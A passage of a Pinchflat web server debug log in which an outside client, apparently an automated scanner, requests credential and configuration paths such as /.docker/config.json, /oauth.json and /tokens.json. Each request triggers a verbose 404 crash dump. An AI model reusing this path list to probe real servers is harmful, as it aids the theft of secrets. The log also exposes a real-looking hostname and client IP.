"44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.docker/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj01TnMzaTXWkAAKOx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: (truncated) 14:08:08.501 [info] GET /docker-compose.override.yml 14:08:08.503 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1091.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:08.504 [debug] QUERY OK source="settings" db=0.6ms queue=0.5ms idle=1090.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:08.505 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:08.505 [error] #PID<0.12426.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 130) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /docker-compose.override.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose.override (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.override.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 130, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12426.0>, params: %{}, path_info: ["docker-compose.override"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/docker-compose.override.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj03DVqm8386cAAKPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.override.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 130, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose.override (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.override.yml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 130, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12426.0>, params: %{}, path_info: ["docker-compose.override"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/docker-compose.override.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj03DVqm8386cAAKPB"} ], scheme: :http, (truncated) 14:08:09.165 [info] GET /docker-compose.yaml 14:08:09.167 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=662.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:09.167 [debug] QUERY OK source="settings" db=0.3ms idle=662.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:09.168 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:09.169 [error] #PID<0.12427.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 131) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /docker-compose.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 131, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12427.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/docker-compose.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj05hf7JkaJyIAAKPR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 131, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 131, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12427.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/docker-compose.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj05hf7JkaJyIAAKPR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset (truncated) 14:08:09.978 [info] GET /oauth.json 14:08:09.979 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=871.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:09.980 [debug] QUERY OK source="settings" db=0.2ms idle=851.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:09.980 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:09.981 [error] #PID<0.12430.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 132) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /oauth.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /oauth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/oauth.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 132, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12430.0>, params: %{}, path_info: ["oauth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/oauth.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj08jQsoyTSloAAKPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/oauth.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 132, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /oauth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/oauth.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 132, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12430.0>, params: %{}, path_info: ["oauth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/oauth.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj08jQsoyTSloAAKPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, stat (truncated) 14:08:10.132 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:08:10.133 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:08:10.134 [debug] QUERY OK source="sources" db=0.8ms idle=966.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:08:10.135 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=967.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:08:10.240 [debug] QUERY OK source="source_metadata" db=26.5ms idle=234.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:08:10.241 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.4ms idle=260.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:08:10.271 [info] Sent 200 in 138ms 14:08:10.589 [info] GET /tokens.json 14:08:10.591 [debug] QUERY OK source="settings" db=0.6ms idle=481.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:10.592 [debug] QUERY OK source="settings" db=0.8ms idle=456.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:10.592 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:10.592 [error] #PID<0.12433.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 133) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /tokens.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tokens (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tokens.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 133, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12433.0>, params: %{}, path_info: ["tokens"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/tokens.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0-1I2tRkBjoAAKQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tokens.json", host: "pinchflat-server.tail1d371e.ts.net", peer: 